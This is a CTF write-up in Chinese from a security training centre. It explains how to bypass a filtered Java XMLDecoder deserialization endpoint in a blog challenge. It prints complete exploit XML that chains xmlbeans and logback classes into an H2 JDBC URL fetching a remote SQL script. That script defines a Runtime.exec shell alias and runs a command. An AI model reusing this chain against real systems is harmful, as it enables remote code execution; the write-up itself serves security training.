大数跨境
0
0

赛题分析3:最近在学习编程,这是我刚开发的博客,你能找到问题么?

赛题分析3:最近在学习编程,这是我刚开发的博客,你能找到问题么? 360安全人才能力发展中心
2019-10-23
1
导读:此赛题来自于3CTF题目类型:Web

最近在学习编程,这是我刚开发的博客,你能找到问题么?

3

题目类型:Web

解题思路:

1.首先打开网站,在测试注册功能的时候在前端可以看到如下的代码:

2.因此猜测后端有XMLDecoder的反序列化漏洞。于是进行尝试,首先根据获取到的源码解压然后反编译可以得到如下:

3.其中的重点是使用了XMLDecodeFilter这个类将前端传入的数据执行了反序列化处理,根据导入包的关系找到

XMLDecodeFilter这个类,定义如下:

4.该类的readObject方法是直接调用XMLDecoder的readObject方法的,但是这里如果仅仅如此的话,那就丝毫没有难度了,因此向上找可以看到一个构造器:

5.可以看到其中会多进行一步validate函数的处理,根据函数名称来猜测这里是过滤方法,跟进可以看到如下:

6.果然是过滤方法,这里的过滤让我想起了weblogic的过滤,梳理一下得到如下结果:

(1)过滤了class标签

(2)过滤了new标签

(3)过滤了method标签

(4)void标签中只允许使用index属性

(5)object标签只允许使用class属性,并且限制了属性可以调用        的类

(6)限制了array标签length的最大长度


7.打开XMLDecoder的类发现基本没有可用的标签了,但是还剩下三个。java, field和property。

8.其中java标签没法使用,剩下的这两个标签,官方描述信息如下:

参考的链接地址:

 https://docs.oracle.com/javase/9/docs/api/java/beans/XMLEncoder.html


9.这里可以得到的一个有价值的信息是,property可以调用一个类的getter和setter。因此利用这个可以做很多事情,比如利用fastjson,Jackson漏洞的利用链等。


10.另外一个标签field需要简单去读一下代码,可以发现主要的功能是可以对类的静态字段进行写操作。


11. 进行到这里,思路就成了,如何找到一个类,通过调用它的getter和setter方法实现命令执行?property标签在调用一个类的getter和setter方法的时候是没有类似name的属性可以直接去指定是哪个类的,因此外层就只能够通过field标签来得到“那个对象”了。但是field只能设置静态字段,怎么利用呢?


12.此时可以看到代码的pom.xml的依赖库描述文件中有提示信息如下:

13.于是重点关注了一下这个包,现在需要思考的是,需要在这个包中找到一个类,有一个public的静态字段,该字段的类型的类中需要有一个合适的getter和setter,getter的返回类型为class,setter的参数表为String类型,这样串联起来,可以首先通过field标签调用该类的静态字段对象的setter,然后再去使用property的getter来获得到一个类。然后再去调用得到类的getter和setter就可以实现利用了!


14.找到的类如下:

15.该类中的ST_ANY_TYPE满足public static,类型为SchemaTypeImpl, 跟进:

16.然后getter如下:

17.首先通过setFullJavaName可以设置_fullJavaName的值,然后调用getJavaClass方法的时候将会利用类加载加载到该类。写出来利用代码如下:

<?xml version="1.0" encoding="UTF-8"?>

<java version="1.8.0_211" 

class="java.beans.XMLDecoder">

<field id="publicStaticField" name="ST_ANY_TYPE" 

class="org.apache.xmlbeans.impl.schema.BuiltinSchemaTypeSystem">

<property id="propertySet" name="fullJavaName">

            <string>你需要的类</string>

        </property>

    </field>

    <var id="evilClass" idref="publicStaticField">

        <property id="propertyGet" name="javaClass">

            <void>

            这里可以调用这个类的构造器或者是getter和setter来实现命令执行

            </void>

        </property>

    </var>

</java>


18.接下来就是所需要Gadgets的选择问题了:

依赖库中使用了h2数据库,并且spring boot的默认依赖库中有日志记录的包logback。因此可以利用之前Jackson出现过的那个绕过。当然还可以利用jndi注入,类似fastjson的利用链。但是那些利用链需要jdk 版本较低,而目标环境较高,因此至此只能做罢。


19.最终的利用代码如下:

<?xml version="1.0" encoding="UTF-8"?>

<java version="1.8.0_211" 

class="java.beans.XMLDecoder">

    <field id="publicStaticField" name="ST_ANY_TYPE" class="org.apache.xmlbeans.impl.schema.BuiltinSchemaTypeSystem">

<property id="propertySet" name="fullJavaName">

            <string>ch.qos.logback.core.db.DriverManagerConnectionSource</string>

        </property>

    </field>

    <var id="evilClass" idref="publicStaticField">

        <property id="propertyGet" name="javaClass">

            <void>

                <property name="url">

                    <string>jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INI

T=RUNSCRIPT FROM 

'http://localhost:8000/exec.sql'</string>

                </property>

                <property name="connection">

                    <void></void>

                </property>

            </void>

        </property>

    </var>

</java>


exec.sql文件内容:

CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {

    String[] command = {"/bin/bash", "-c", cmd};

    java.util.Scanner s = new 

java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");

    return s.hasNext() ? s.next() : "";  }

$$;

CALL SHELLEXEC('touch /tmp/123')


文章中所使用测试工具下载:

https://yunpan.360.cn/surl_yuRH7HVwvwj 

(提取码:b528)

扫码关注我们

360网络安全大学

如果你想展示你的CTF能力,我们提供给你机会,平台近期开始向社会征集CTF题目,题目类型不限制,奖励丰厚,有想法的大佬可以联系

university@360.cn。

【声明】内容源于网络
0
0
360安全人才能力发展中心
360政企安全集团旗下面向教育服务领域的唯一官方机构,致力于通过对人才能力的研究、教育平台的打造、教学内容的开发、教育服务生态的建设,为各机构和组织提供网络安全组织能力咨询、人才能力培养、专业能力认证、人才能力评估等服务。
内容 395
粉丝 0
360安全人才能力发展中心 360政企安全集团旗下面向教育服务领域的唯一官方机构,致力于通过对人才能力的研究、教育平台的打造、教学内容的开发、教育服务生态的建设,为各机构和组织提供网络安全组织能力咨询、人才能力培养、专业能力认证、人才能力评估等服务。
总阅读601
粉丝0
内容395